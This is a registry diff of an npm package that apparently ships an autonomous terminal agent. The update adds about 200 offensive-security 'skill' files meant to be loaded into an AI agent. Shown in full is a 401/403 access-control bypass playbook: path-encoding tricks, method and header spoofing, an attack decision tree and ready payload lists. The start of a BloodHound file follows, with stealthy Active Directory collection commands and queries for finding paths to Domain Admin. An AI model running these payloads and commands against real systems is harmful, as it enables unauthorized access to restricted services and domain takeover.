ineedcodes 1.6.1 → 1.7.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (218) hide show
  1. package/package.json +2 -1
  2. package/skills/401-403-bypass-techniques/SKILL.md +348 -0
  3. package/skills/active-directory-acl-abuse/BLOODHOUND_PATHS.md +281 -0
  4. package/skills/active-directory-acl-abuse/SKILL.md +295 -0
  5. package/skills/active-directory-certificate-services/ADCS_ESC_MATRIX.md +197 -0
  6. package/skills/active-directory-certificate-services/SKILL.md +303 -0
  7. package/skills/active-directory-kerberos-attacks/KERBEROS_ATTACK_CHAINS.md +226 -0
  8. package/skills/active-directory-kerberos-attacks/SKILL.md +311 -0
  9. package/skills/ai-ml-security/SKILL.md +425 -0
  10. package/skills/android-pentesting-tricks/FRIDA_SCRIPTS.md +394 -0
  11. package/skills/android-pentesting-tricks/SKILL.md +369 -0
  12. package/skills/anti-debugging-techniques/ANTI_DEBUG_MATRIX.md +117 -0
  13. package/skills/anti-debugging-techniques/SKILL.md +407 -0
  14. package/skills/api-auth-and-jwt-abuse/SKILL.md +76 -0
  15. package/skills/api-authorization-and-bola/SKILL.md +48 -0
  16. package/skills/api-recon-and-docs/SKILL.md +61 -0
  17. package/skills/api-sec/SKILL.md +49 -0
  18. package/skills/arbitrary-write-to-rce/SKILL.md +361 -0
  19. package/skills/auth-sec/SKILL.md +41 -0
  20. package/skills/authbypass-authentication-flaws/SKILL.md +441 -0
  21. package/skills/bba-ad-attacker/SKILL.md +420 -0
  22. package/skills/bba-api-security/SKILL.md +95 -0
  23. package/skills/bba-attack-planner/SKILL.md +186 -0
  24. package/skills/bba-binary-exploit/SKILL.md +65 -0
  25. package/skills/bba-bizlogic-hunter/SKILL.md +304 -0
  26. package/skills/bba-bug-bounty/SKILL.md +245 -0
  27. package/skills/bba-cicd-redteam/SKILL.md +515 -0
  28. package/skills/bba-cloud-security/SKILL.md +97 -0
  29. package/skills/bba-container-escape/SKILL.md +161 -0
  30. package/skills/bba-credential-tester/SKILL.md +346 -0
  31. package/skills/bba-crypto-analyst/SKILL.md +54 -0
  32. package/skills/bba-ctf-solver/SKILL.md +166 -0
  33. package/skills/bba-detection-engineer/SKILL.md +93 -0
  34. package/skills/bba-engagement-planner/SKILL.md +68 -0
  35. package/skills/bba-exploit-chainer/SKILL.md +280 -0
  36. package/skills/bba-exploit-guide/SKILL.md +96 -0
  37. package/skills/bba-forensics-analyst/SKILL.md +512 -0
  38. package/skills/bba-graphql-hunter/SKILL.md +145 -0
  39. package/skills/bba-hardware-hacker/SKILL.md +57 -0
  40. package/skills/bba-jwt-cracker/SKILL.md +133 -0
  41. package/skills/bba-llm-redteam/SKILL.md +149 -0
  42. package/skills/bba-malware-analyst/SKILL.md +305 -0
  43. package/skills/bba-mobile-pentester/SKILL.md +350 -0
  44. package/skills/bba-osint-collector/SKILL.md +645 -0
  45. package/skills/bba-payload-crafter/SKILL.md +347 -0
  46. package/skills/bba-phishing-operator/SKILL.md +516 -0
  47. package/skills/bba-poc-validator/SKILL.md +249 -0
  48. package/skills/bba-privesc-advisor/SKILL.md +98 -0
  49. package/skills/bba-purple-team/SKILL.md +56 -0
  50. package/skills/bba-recon-advisor/SKILL.md +215 -0
  51. package/skills/bba-red-team-operator/SKILL.md +61 -0
  52. package/skills/bba-report-generator/SKILL.md +145 -0
  53. package/skills/bba-reverse-engineer/SKILL.md +298 -0
  54. package/skills/bba-social-engineer/SKILL.md +341 -0
  55. package/skills/bba-ssrf-hunter/SKILL.md +120 -0
  56. package/skills/bba-stig-analyst/SKILL.md +108 -0
  57. package/skills/bba-subdomain-takeover/SKILL.md +141 -0
  58. package/skills/bba-swarm-orchestrator/SKILL.md +351 -0
  59. package/skills/bba-threat-modeler/SKILL.md +574 -0
  60. package/skills/bba-vuln-scanner/SKILL.md +305 -0
  61. package/skills/bba-web-hunter/SKILL.md +285 -0
  62. package/skills/bba-wireless-pentester/SKILL.md +539 -0
  63. package/skills/binary-protection-bypass/PROTECTION_BYPASS_MATRIX.md +168 -0
  64. package/skills/binary-protection-bypass/SKILL.md +295 -0
  65. package/skills/browser-exploitation-v8/SKILL.md +334 -0
  66. package/skills/browser-exploitation-v8/V8_EXPLOITATION_PATTERNS.md +288 -0
  67. package/skills/business-logic-vuln/SKILL.md +33 -0
  68. package/skills/business-logic-vulnerabilities/CHECKLIST.md +375 -0
  69. package/skills/business-logic-vulnerabilities/METHODOLOGY.md +337 -0
  70. package/skills/business-logic-vulnerabilities/SCENARIOS.md +1095 -0
  71. package/skills/business-logic-vulnerabilities/SKILL.md +711 -0
  72. package/skills/classical-cipher-analysis/SKILL.md +663 -0
  73. package/skills/clickjacking/SKILL.md +163 -0
  74. package/skills/cmdi-command-injection/SKILL.md +687 -0
  75. package/skills/code-obfuscation-deobfuscation/SKILL.md +391 -0
  76. package/skills/container-escape-techniques/DOCKER_ESCAPE_CHAINS.md +296 -0
  77. package/skills/container-escape-techniques/SKILL.md +339 -0
  78. package/skills/cors-cross-origin-misconfiguration/SCENARIOS.md +152 -0
  79. package/skills/cors-cross-origin-misconfiguration/SKILL.md +270 -0
  80. package/skills/crlf-injection/SKILL.md +179 -0
  81. package/skills/csp-bypass-advanced/SKILL.md +259 -0
  82. package/skills/csrf-cross-site-request-forgery/SKILL.md +526 -0
  83. package/skills/csv-formula-injection/SKILL.md +144 -0
  84. package/skills/dangling-markup-injection/SKILL.md +321 -0
  85. package/skills/defi-attack-patterns/SKILL.md +355 -0
  86. package/skills/dependency-confusion/SKILL.md +178 -0
  87. package/skills/deserialization-insecure/JAVA_GADGET_CHAINS.md +511 -0
  88. package/skills/deserialization-insecure/SKILL.md +725 -0
  89. package/skills/dns-rebinding-attacks/SKILL.md +337 -0
  90. package/skills/email-header-injection/SKILL.md +349 -0
  91. package/skills/expression-language-injection/SKILL.md +243 -0
  92. package/skills/file-access-vuln/SKILL.md +33 -0
  93. package/skills/format-string-exploitation/SKILL.md +312 -0
  94. package/skills/ghost-bits-cast-attack/PAYLOAD_COOKBOOK.md +448 -0
  95. package/skills/ghost-bits-cast-attack/SKILL.md +799 -0
  96. package/skills/graphql-and-hidden-parameters/SKILL.md +50 -0
  97. package/skills/hack/SKILL.md +162 -0
  98. package/skills/hash-attack-techniques/SKILL.md +491 -0
  99. package/skills/heap-exploitation/HOUSE_OF_TECHNIQUES.md +244 -0
  100. package/skills/heap-exploitation/IO_FILE_EXPLOITATION.md +256 -0
  101. package/skills/heap-exploitation/SKILL.md +217 -0
  102. package/skills/http-host-header-attacks/SKILL.md +323 -0
  103. package/skills/http-parameter-pollution/SKILL.md +208 -0
  104. package/skills/http2-specific-attacks/SKILL.md +350 -0
  105. package/skills/idor-broken-object-authorization/SKILL.md +336 -0
  106. package/skills/injection-checking/EXTRA_INJECTION_TYPES.md +450 -0
  107. package/skills/injection-checking/SKILL.md +50 -0
  108. package/skills/insecure-source-code-management/SKILL.md +161 -0
  109. package/skills/ios-pentesting-tricks/IOS_RUNTIME_TRICKS.md +411 -0
  110. package/skills/ios-pentesting-tricks/SKILL.md +418 -0
  111. package/skills/jndi-injection/SKILL.md +265 -0
  112. package/skills/jwt-oauth-token-attacks/SKILL.md +301 -0
  113. package/skills/kernel-exploitation/KERNEL_HEAP_TECHNIQUES.md +293 -0
  114. package/skills/kernel-exploitation/KERNEL_MITIGATION_BYPASS.md +224 -0
  115. package/skills/kernel-exploitation/SKILL.md +307 -0
  116. package/skills/kubernetes-pentesting/SKILL.md +348 -0
  117. package/skills/lattice-crypto-attacks/SKILL.md +497 -0
  118. package/skills/linux-lateral-movement/SKILL.md +348 -0
  119. package/skills/linux-privilege-escalation/KERNEL_EXPLOITS_CHECKLIST.md +260 -0
  120. package/skills/linux-privilege-escalation/SKILL.md +346 -0
  121. package/skills/linux-privilege-escalation/SUID_CAPABILITIES_TRICKS.md +305 -0
  122. package/skills/linux-security-bypass/SKILL.md +345 -0
  123. package/skills/llm-prompt-injection/JAILBREAK_PATTERNS.md +306 -0
  124. package/skills/llm-prompt-injection/SKILL.md +357 -0
  125. package/skills/macos-process-injection/DYLIB_XPC_TECHNIQUES.md +373 -0
  126. package/skills/macos-process-injection/SKILL.md +384 -0
  127. package/skills/macos-security-bypass/SKILL.md +337 -0
  128. package/skills/macos-security-bypass/TCC_BYPASS_MATRIX.md +200 -0
  129. package/skills/memory-forensics-volatility/SKILL.md +323 -0
  130. package/skills/memory-forensics-volatility/VOLATILITY_CHEATSHEET.md +225 -0
  131. package/skills/mobile-ssl-pinning-bypass/SKILL.md +531 -0
  132. package/skills/network-protocol-attacks/NAME_RESOLUTION_POISONING.md +226 -0
  133. package/skills/network-protocol-attacks/SKILL.md +330 -0
  134. package/skills/nosql-injection/SKILL.md +341 -0
  135. package/skills/ntlm-relay-coercion/COERCION_METHODS.md +253 -0
  136. package/skills/ntlm-relay-coercion/SKILL.md +267 -0
  137. package/skills/oauth-oidc-misconfiguration/SKILL.md +46 -0
  138. package/skills/open-redirect/SKILL.md +380 -0
  139. package/skills/path-traversal-lfi/SKILL.md +802 -0
  140. package/skills/prototype-pollution/SKILL.md +190 -0
  141. package/skills/prototype-pollution-advanced/KNOWN_GADGETS.md +253 -0
  142. package/skills/prototype-pollution-advanced/SKILL.md +338 -0
  143. package/skills/race-condition/SKILL.md +526 -0
  144. package/skills/recon-and-methodology/SKILL.md +389 -0
  145. package/skills/recon-for-sec/SKILL.md +29 -0
  146. package/skills/request-smuggling/H2_SMUGGLING_VARIANTS.md +498 -0
  147. package/skills/request-smuggling/SKILL.md +314 -0
  148. package/skills/reverse-shell-techniques/SHELL_CHEATSHEET.md +196 -0
  149. package/skills/reverse-shell-techniques/SKILL.md +290 -0
  150. package/skills/rsa-attack-techniques/RSA_ATTACK_CATALOG.md +432 -0
  151. package/skills/rsa-attack-techniques/SKILL.md +437 -0
  152. package/skills/saml-sso-assertion-attacks/SKILL.md +41 -0
  153. package/skills/sandbox-escape-techniques/PYTHON_SANDBOX_ESCAPE.md +349 -0
  154. package/skills/sandbox-escape-techniques/SECCOMP_BYPASS.md +332 -0
  155. package/skills/sandbox-escape-techniques/SKILL.md +250 -0
  156. package/skills/smart-contract-vulnerabilities/SKILL.md +314 -0
  157. package/skills/smart-contract-vulnerabilities/SOLIDITY_VULN_PATTERNS.md +460 -0
  158. package/skills/sqli-sql-injection/SCENARIOS.md +575 -0
  159. package/skills/sqli-sql-injection/SKILL.md +489 -0
  160. package/skills/sqli-sql-injection/SQLMAP_ADVANCED.md +642 -0
  161. package/skills/ssrf-server-side-request-forgery/SCENARIOS.md +226 -0
  162. package/skills/ssrf-server-side-request-forgery/SKILL.md +323 -0
  163. package/skills/ssrf-server-side-request-forgery/URL_PARSER_TRICKS.md +650 -0
  164. package/skills/ssti-server-side-template-injection/ENGINE_PAYLOADS.md +456 -0
  165. package/skills/ssti-server-side-template-injection/SCENARIOS.md +319 -0
  166. package/skills/ssti-server-side-template-injection/SKILL.md +344 -0
  167. package/skills/stack-overflow-and-rop/ROP_ADVANCED_TECHNIQUES.md +249 -0
  168. package/skills/stack-overflow-and-rop/SKILL.md +304 -0
  169. package/skills/steganography-techniques/SKILL.md +348 -0
  170. package/skills/steganography-techniques/STEGO_TOOLS_GUIDE.md +335 -0
  171. package/skills/subdomain-takeover/SKILL.md +247 -0
  172. package/skills/symbolic-execution-tools/ANGR_COOKBOOK.md +437 -0
  173. package/skills/symbolic-execution-tools/SKILL.md +419 -0
  174. package/skills/symmetric-cipher-attacks/BLOCK_CIPHER_ATTACKS.md +364 -0
  175. package/skills/symmetric-cipher-attacks/SKILL.md +462 -0
  176. package/skills/traffic-analysis-pcap/SKILL.md +341 -0
  177. package/skills/tunneling-and-pivoting/SKILL.md +343 -0
  178. package/skills/type-juggling/SKILL.md +291 -0
  179. package/skills/unauthorized-access-common-services/PORT_SERVICE_MATRIX.md +340 -0
  180. package/skills/unauthorized-access-common-services/SKILL.md +388 -0
  181. package/skills/upload-insecure-files/SCENARIOS.md +158 -0
  182. package/skills/upload-insecure-files/SKILL.md +543 -0
  183. package/skills/vm-and-bytecode-reverse/SKILL.md +450 -0
  184. package/skills/vr-cheatsheet-authentication_bypass/SKILL.md +184 -0
  185. package/skills/vr-cheatsheet-dangerous_functions/SKILL.md +200 -0
  186. package/skills/vr-cheatsheet-linux_commands/SKILL.md +40 -0
  187. package/skills/vr-cheatsheet-rce/SKILL.md +177 -0
  188. package/skills/vr-cheatsheet-reverse_engineering/SKILL.md +144 -0
  189. package/skills/vr-cheatsheet-sqli/SKILL.md +270 -0
  190. package/skills/vr-cheatsheet-ssrf/SKILL.md +173 -0
  191. package/skills/vr-cheatsheet-xss/SKILL.md +177 -0
  192. package/skills/vr-methodology-mindset_and_tips/SKILL.md +51 -0
  193. package/skills/vr-template-vulnerability_report_template/SKILL.md +59 -0
  194. package/skills/vr-writeup-CVE-2026-9136/SKILL.md +171 -0
  195. package/skills/vr-writeup-ZVE-2026-3795/SKILL.md +350 -0
  196. package/skills/vr-writeup-api_key_leak/SKILL.md +103 -0
  197. package/skills/waf-bypass-techniques/SKILL.md +290 -0
  198. package/skills/waf-bypass-techniques/WAF_PRODUCT_MATRIX.md +202 -0
  199. package/skills/web-cache-deception/CACHE_POISONING_TECHNIQUES.md +637 -0
  200. package/skills/web-cache-deception/SKILL.md +222 -0
  201. package/skills/websocket-security/SKILL.md +454 -0
  202. package/skills/windows-av-evasion/AMSI_BYPASS_TECHNIQUES.md +289 -0
  203. package/skills/windows-av-evasion/SKILL.md +342 -0
  204. package/skills/windows-lateral-movement/CREDENTIAL_DUMPING.md +308 -0
  205. package/skills/windows-lateral-movement/SKILL.md +335 -0
  206. package/skills/windows-privilege-escalation/SKILL.md +328 -0
  207. package/skills/windows-privilege-escalation/TOKEN_POTATO_TRICKS.md +216 -0
  208. package/skills/windows-privilege-escalation/UAC_BYPASS_METHODS.md +225 -0
  209. package/skills/xslt-injection/SKILL.md +281 -0
  210. package/skills/xss-cross-site-scripting/ADVANCED_XSS_TRICKS.md +276 -0
  211. package/skills/xss-cross-site-scripting/SCENARIOS.md +278 -0
  212. package/skills/xss-cross-site-scripting/SKILL.md +379 -0
  213. package/skills/xxe-xml-external-entity/SCENARIOS.md +112 -0
  214. package/skills/xxe-xml-external-entity/SKILL.md +554 -0
  215. package/src/agent.js +1 -1
  216. package/src/session.js +6 -3
  217. package/src/skills.js +30 -6
  218. package/src/ui.js +1 -1
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "ineedcodes",
3
- "version": "1.6.1",
3
+ "version": "1.7.0",
4
4
  "description": "Your terminal, now autonomous. Just say what you want, ineed does the rest.",
5
5
  "license": "MIT",
6
6
  "type": "module",
@@ -9,6 +9,7 @@
9
9
  },
10
10
  "files": [
11
11
  "src",
12
+ "skills",
12
13
  "README.md",
13
14
  "LICENSE"
14
15
  ],
@@ -0,0 +1,348 @@
1
+ ---
2
+ name: 401-403-bypass-techniques
3
+ description: >-
4
+ 401/403 bypass playbook. Use when encountering access-denied responses on admin panels, API endpoints, or restricted paths. Covers path manipulation, HTTP method tampering, header injection, protocol downgrade, and automated bypass tools.gated: true
5
+ ---
6
+
7
+ # SKILL: 401/403 Bypass Techniques — Expert Attack Playbook
8
+
9
+ > **AI LOAD INSTRUCTION**: Comprehensive 401/403 forbidden bypass techniques. Covers path normalization tricks, HTTP method override, header-based bypasses (X-Original-URL, X-Forwarded-For), protocol version tricks, and combination attacks. Base models typically know 2-3 header bypasses but miss the full matrix of path manipulation variants and verb+path combos.
10
+
11
+ ## 0. RELATED ROUTING
12
+
13
+ - [authbypass-authentication-flaws](../authbypass-authentication-flaws/SKILL.md) — broader auth bypass (login flaws, session handling)
14
+ - [waf-bypass-techniques](../waf-bypass-techniques/SKILL.md) — when bypass is WAF-specific rather than access control
15
+ - [http-host-header-attacks](../http-host-header-attacks/SKILL.md) — Host header manipulation for routing bypass
16
+ - [request-smuggling](../request-smuggling/SKILL.md) — smuggle past access controls entirely
17
+ - [http2-specific-attacks](../http2-specific-attacks/SKILL.md) — h2c smuggling to bypass proxy ACLs
18
+
19
+ ---
20
+
21
+ ## 1. PATH MANIPULATION BYPASSES
22
+
23
+ The core idea: the reverse proxy/WAF checks one path format, but the backend normalizes differently.
24
+
25
+ ### 1.1 Trailing Slash / Missing Slash
26
+
27
+ ```
28
+ /admin → 403
29
+ /admin/ → 200 ✓ (trailing slash)
30
+ /admin/. → 200 ✓ (trailing dot)
31
+ ```
32
+
33
+ ### 1.2 Case Sensitivity
34
+
35
+ ```
36
+ /admin → 403
37
+ /Admin → 200 ✓
38
+ /ADMIN → 200 ✓
39
+ /aDmIn → 200 ✓
40
+ ```
41
+
42
+ Works when: proxy rule is case-sensitive but backend is case-insensitive (common on Windows/IIS).
43
+
44
+ ### 1.3 URL Encoding
45
+
46
+ ```
47
+ /admin → 403
48
+ /%61dmin → 200 ✓ (encode 'a')
49
+ /admi%6e → 200 ✓ (encode 'n')
50
+ /%61%64%6d%69%6e → 200 ✓ (full encode)
51
+ ```
52
+
53
+ ### 1.4 Double URL Encoding
54
+
55
+ ```
56
+ /admin → 403
57
+ /%2561dmin → 200 ✓ (%25 = %, decoded twice: %61 → a)
58
+ /admin%252f → 200 ✓
59
+ /admin..%252f → 200 ✓
60
+ ```
61
+
62
+ ### 1.5 Unicode / UTF-8 Encoding
63
+
64
+ ```
65
+ /admin → 403
66
+ /admi%C0%AE → 200 ✓ (overlong UTF-8 for '.')
67
+ /admi%C0%6E → 200 ✓ (overlong encoding)
68
+ /%C0%AFadmin → 200 ✓ (overlong '/')
69
+ ```
70
+
71
+ ### 1.6 Dot-Segment / Path Traversal
72
+
73
+ ```
74
+ /admin → 403
75
+ /./admin → 200 ✓
76
+ //admin → 200 ✓
77
+ /admin/./ → 200 ✓
78
+ /.//admin → 200 ✓
79
+ /admin..;/ → 200 ✓ (Tomcat path parameter)
80
+ ```
81
+
82
+ ### 1.7 Null Byte
83
+
84
+ ```
85
+ /admin → 403
86
+ /admin%00 → 200 ✓
87
+ /admin%00.json → 200 ✓
88
+ /%00/admin → 200 ✓
89
+ ```
90
+
91
+ ### 1.8 Path Parameter Injection
92
+
93
+ ```
94
+ /admin → 403
95
+ /admin;foo=bar → 200 ✓ (Tomcat/Java treats ; as path param)
96
+ /admin; → 200 ✓
97
+ /admin;x → 200 ✓
98
+ ```
99
+
100
+ ### 1.9 Trailing Special Characters
101
+
102
+ ```
103
+ /admin%20 (space) /admin%09 (tab) /admin? (empty query)
104
+ /admin.json /admin.html /admin/~
105
+ ```
106
+
107
+ ### 1.10 Backslash (Windows/IIS)
108
+
109
+ ```
110
+ /admin\ /admin\..\/ \..\admin
111
+ ```
112
+
113
+ ### 1.11 Combined Path Tricks
114
+
115
+ ```
116
+ ///admin/// /./admin/./ /admin/..;/admin (Tomcat) /%2e/admin
117
+ ```
118
+
119
+ ---
120
+
121
+ ## 2. HTTP METHOD BYPASS
122
+
123
+ ### 2.1 Direct Method Change
124
+
125
+ ```
126
+ GET /admin → 403
127
+ POST /admin → 200 ✓
128
+ PUT /admin → 200 ✓
129
+ PATCH /admin → 200 ✓
130
+ DELETE /admin → 200 ✓
131
+ OPTIONS /admin → 200 ✓ (may leak allowed methods)
132
+ TRACE /admin → 200 ✓ (may reflect headers — XST)
133
+ HEAD /admin → 200 ✓ (same as GET but no body — confirms access)
134
+ ```
135
+
136
+ ### 2.2 Method Override Headers
137
+
138
+ When the proxy blocks by method, but the backend reads override headers:
139
+
140
+ ```http
141
+ GET /admin HTTP/1.1
142
+ X-HTTP-Method-Override: PUT
143
+
144
+ GET /admin HTTP/1.1
145
+ X-Method-Override: POST
146
+
147
+ GET /admin HTTP/1.1
148
+ X-HTTP-Method: DELETE
149
+
150
+ POST /admin HTTP/1.1
151
+ X-HTTP-Method-Override: PATCH
152
+ _method=PUT (in POST body — Rails, Laravel)
153
+ ```
154
+
155
+ ### 2.3 Custom / Invalid Methods
156
+
157
+ ```
158
+ FOOBAR /admin HTTP/1.1 → some ACLs only check GET/POST
159
+ GETS /admin HTTP/1.1 → typo-like methods may bypass
160
+ CONNECT /admin HTTP/1.1 → proxy may tunnel
161
+ PROPFIND /admin HTTP/1.1 → WebDAV method
162
+ MOVE /admin HTTP/1.1 → WebDAV method
163
+ ```
164
+
165
+ ---
166
+
167
+ ## 3. HEADER-BASED BYPASS
168
+
169
+ ### 3.1 URL Rewrite Headers (Nginx/IIS)
170
+
171
+ These headers tell the backend the "real" URL, bypassing proxy-level path checks:
172
+
173
+ ```http
174
+ GET / HTTP/1.1
175
+ X-Original-URL: /admin
176
+
177
+ GET / HTTP/1.1
178
+ X-Rewrite-URL: /admin
179
+ ```
180
+
181
+ The proxy sees `GET /` (allowed), but the backend routes to `/admin`.
182
+
183
+ ### 3.2 IP Spoofing Headers (Whitelist Bypass)
184
+
185
+ Headers to try (each with values `127.0.0.1`, `10.0.0.1`, `0.0.0.0`, `::1`):
186
+
187
+ ```http
188
+ X-Forwarded-For | X-Real-IP | X-Originating-IP | X-Remote-IP
189
+ X-Remote-Addr | X-Client-IP | True-Client-IP | Cluster-Client-IP
190
+ X-ProxyUser-IP | X-Custom-IP-Authorization | Forwarded: for=127.0.0.1
191
+ ```
192
+
193
+ IP encoding variants: `0177.0.0.1` (octal), `2130706433` (decimal), `0x7f000001` (hex), `localhost`
194
+
195
+ ### 3.3 Other Header Tricks
196
+
197
+ ```http
198
+ Referer: https://target.com/admin # Referrer check bypass
199
+ Origin: https://target.com # Origin check bypass
200
+ Host: localhost # Host header manipulation
201
+ X-Forwarded-Host: localhost # Forwarded host
202
+ Content-Type: application/json # Content-type switch
203
+ X-Requested-With: XMLHttpRequest # AJAX flag
204
+ ```
205
+
206
+ ---
207
+
208
+ ## 4. PROTOCOL VERSION BYPASS
209
+
210
+ ```http
211
+ # HTTP/1.0 (some ACLs only apply to HTTP/1.1)
212
+ GET /admin HTTP/1.0
213
+
214
+ # HTTP/0.9 (extremely legacy — no headers)
215
+ GET /admin
216
+
217
+ # HTTP/2 pseudo-header tricks
218
+ :method: GET
219
+ :path: /admin
220
+ :authority: target.com
221
+ # See ../http2-specific-attacks/SKILL.md for H2-specific bypasses
222
+ ```
223
+
224
+ ---
225
+
226
+ ## 5. VERB TAMPERING + PATH COMBINATION
227
+
228
+ Combine multiple techniques for higher success rate:
229
+
230
+ ```http
231
+ POST / HTTP/1.1 # method override + URL rewrite
232
+ X-Original-URL: /admin
233
+ X-HTTP-Method-Override: GET
234
+
235
+ GET /%61dmin HTTP/1.1 # IP spoof + path encoding
236
+ X-Forwarded-For: 127.0.0.1
237
+
238
+ GET /Admin HTTP/1.0 # protocol + case + IP spoof
239
+ X-Forwarded-For: 127.0.0.1
240
+ ```
241
+
242
+ ---
243
+
244
+ ## 6. TECHNOLOGY-SPECIFIC BYPASSES
245
+
246
+ | Server | Key Tricks |
247
+ |---|---|
248
+ | **Apache** | `/admin/` (trailing slash), `/.admin` (dot prefix), `/admin%0d` (CR) |
249
+ | **Nginx** | `/Admin` (case), `/admin../` (normalization), `X-Original-URL: /admin` |
250
+ | **IIS/ASP.NET** | `/admin;.css` (path param+ext), `/admin\` (backslash), `/admin::$DATA` (ADS), `/admin%20` |
251
+ | **Tomcat/Java** | `/admin;foo` (path param), `/admin..;/` (traversal), `/;/admin` (empty param) |
252
+ | **Spring** | `/admin.anything` (suffix matching, older), `/admin/` (trailing slash) |
253
+
254
+ ---
255
+
256
+ ## 7. AUTOMATED TOOLS
257
+
258
+ | Tool | Purpose | URL |
259
+ |---|---|---|
260
+ | **byp4xx** | Comprehensive 403 bypass scanner | github.com/lobuhi/byp4xx |
261
+ | **403bypasser** | Automated header/path/method bypass | github.com/sting8k/403bypasser |
262
+ | **dirsearch** | Directory brute-force with encoding variants | github.com/maurosoria/dirsearch |
263
+ | **feroxbuster** | Recursive content discovery | github.com/epi052/feroxbuster |
264
+ | **Burp Intruder** | Custom payload lists for manual testing | portswigger.net |
265
+
266
+ ### byp4xx usage
267
+
268
+ ```bash
269
+ # Basic usage
270
+ ./byp4xx.sh https://target.com/admin
271
+
272
+ # Output shows all attempted bypasses and their response codes
273
+ # 200/301/302 responses = potential bypass found
274
+ ```
275
+
276
+ ---
277
+
278
+ ## 8. DECISION TREE
279
+
280
+ ```
281
+ Got 401 or 403 on a path?
282
+
283
+ ├── Try PATH MANIPULATION first (highest success rate)
284
+ │ ├── /path/ (trailing slash)
285
+ │ ├── /PATH (case change)
286
+ │ ├── /path%20 (trailing space)
287
+ │ ├── /./path (dot segment)
288
+ │ ├── //path (double slash)
289
+ │ ├── /path;x (path parameter — Java/Tomcat)
290
+ │ ├── /path..;/ (Tomcat specific)
291
+ │ ├── /%2e/path (encoded dot)
292
+ │ ├── /path%00 (null byte)
293
+ │ ├── /path%23 (encoded hash)
294
+ │ └── Result? → 200 = bypass found
295
+
296
+ ├── Path tricks failed → Try METHOD BYPASS
297
+ │ ├── POST/PUT/PATCH/DELETE/OPTIONS
298
+ │ ├── HEAD (same as GET without body)
299
+ │ ├── X-HTTP-Method-Override: PUT
300
+ │ └── TRACE (may reflect auth headers — XST)
301
+
302
+ ├── Method tricks failed → Try HEADER BYPASS
303
+ │ ├── X-Original-URL: /path (Nginx/IIS rewrite)
304
+ │ ├── X-Rewrite-URL: /path (same concept)
305
+ │ ├── X-Forwarded-For: 127.0.0.1 (IP whitelist)
306
+ │ ├── X-Real-IP: 127.0.0.1
307
+ │ ├── True-Client-IP: 127.0.0.1
308
+ │ └── Referer: https://target.com/path
309
+
310
+ ├── Header tricks failed → Try PROTOCOL BYPASS
311
+ │ ├── HTTP/1.0 instead of 1.1
312
+ │ ├── HTTP/2 h2c smuggling (../http2-specific-attacks/)
313
+ │ └── WebSocket upgrade
314
+
315
+ ├── Single techniques failed → Try COMBINATIONS
316
+ │ ├── Method + Path: POST /PATH/
317
+ │ ├── Header + Path: X-Forwarded-For + /path%20
318
+ │ ├── All three: POST + X-Original-URL + IP headers
319
+ │ └── Protocol + Path: HTTP/1.0 + encoded path
320
+
321
+ ├── All bypasses failed → Consider ALTERNATIVE APPROACHES
322
+ │ ├── Request smuggling (../request-smuggling/) → smuggle past ACL
323
+ │ ├── SSRF (../ssrf-server-side-request-forgery/) → access from server
324
+ │ ├── IDOR (../idor-broken-object-authorization/) → access data directly
325
+ │ └── Auth flaws (../authbypass-authentication-flaws/) → login bypass
326
+
327
+ └── Automated scan with byp4xx / 403bypasser for completeness
328
+ ```
329
+
330
+ ---
331
+
332
+ ## 9. QUICK REFERENCE — KEY PAYLOADS
333
+
334
+ ```http
335
+ # Top 10 quick-wins (try these first)
336
+ GET /admin/ HTTP/1.1 # trailing slash
337
+ GET /Admin HTTP/1.1 # case change
338
+ GET /admin%20 HTTP/1.1 # trailing space
339
+ GET /./admin HTTP/1.1 # dot segment
340
+ GET //admin HTTP/1.1 # double slash
341
+ POST /admin HTTP/1.1 # method change
342
+ GET / HTTP/1.1 # X-Original-URL bypass
343
+ X-Original-URL: /admin
344
+ GET /admin HTTP/1.1 # IP whitelist bypass
345
+ X-Forwarded-For: 127.0.0.1
346
+ GET /admin;.css HTTP/1.1 # IIS path param
347
+ GET /admin..;/ HTTP/1.1 # Tomcat bypass
348
+ ```
@@ -0,0 +1,281 @@
1
+ # BloodHound Attack Paths & Cypher Queries
2
+
3
+ > **AI LOAD INSTRUCTION**: Load this for common BloodHound attack paths, custom Cypher queries for Neo4j, and chain analysis techniques. Assumes the main [SKILL.md](./SKILL.md) is already loaded for individual ACL abuse techniques.
4
+
5
+ ---
6
+
7
+ ## 1. BLOODHOUND DATA COLLECTION BEST PRACTICES
8
+
9
+ ### Collection Methods Comparison
10
+
11
+ | Method | Speed | Noise | Data |
12
+ |---|---|---|---|
13
+ | `DCOnly` | Fast | Low | Users, groups, trusts, ACLs (from DC only) |
14
+ | `All` | Slow | High | Everything including sessions and local groups |
15
+ | `Session` | Medium | Medium | Logged-in user sessions (run multiple times) |
16
+ | `ACL` | Medium | Low | ACL data only |
17
+ | `ObjectProps` | Fast | Low | Object properties (descriptions, etc.) |
18
+
19
+ ### Stealth Collection
20
+
21
+ ```bash
22
+ # Minimum noise — DC only queries
23
+ bloodhound-python -d domain.com -u user -p pass -c DCOnly -dc DC01.domain.com
24
+
25
+ # Add sessions over time
26
+ bloodhound-python -d domain.com -u user -p pass -c Session -dc DC01.domain.com
27
+
28
+ # Avoid SMB enumeration (noisiest)
29
+ SharpHound.exe -c DCOnly,ACL --excludedc --stealth
30
+ ```
31
+
32
+ ---
33
+
34
+ ## 2. ESSENTIAL CYPHER QUERIES
35
+
36
+ ### 2.1 Find All Paths to Domain Admin
37
+
38
+ ```cypher
39
+ MATCH p=shortestPath((n)-[*1..]->(m:Group))
40
+ WHERE m.name STARTS WITH "DOMAIN ADMINS"
41
+ AND n.owned = true
42
+ RETURN p
43
+ ```
44
+
45
+ ### 2.2 Find Users with DCSync Rights
46
+
47
+ ```cypher
48
+ MATCH p=(n)-[:MemberOf|GetChanges*1..]->(d:Domain)
49
+ MATCH p2=(n)-[:MemberOf|GetChangesAll*1..]->(d)
50
+ WHERE n:User OR n:Group
51
+ RETURN n.name
52
+ ```
53
+
54
+ ### 2.3 Kerberoastable Users with Paths to DA
55
+
56
+ ```cypher
57
+ MATCH (u:User {hasspn:true})
58
+ MATCH p=shortestPath((u)-[*1..]->(g:Group))
59
+ WHERE g.name STARTS WITH "DOMAIN ADMINS"
60
+ RETURN u.name, length(p) AS hops
61
+ ORDER BY hops ASC
62
+ ```
63
+
64
+ ### 2.4 Users with Dangerous ACLs
65
+
66
+ ```cypher
67
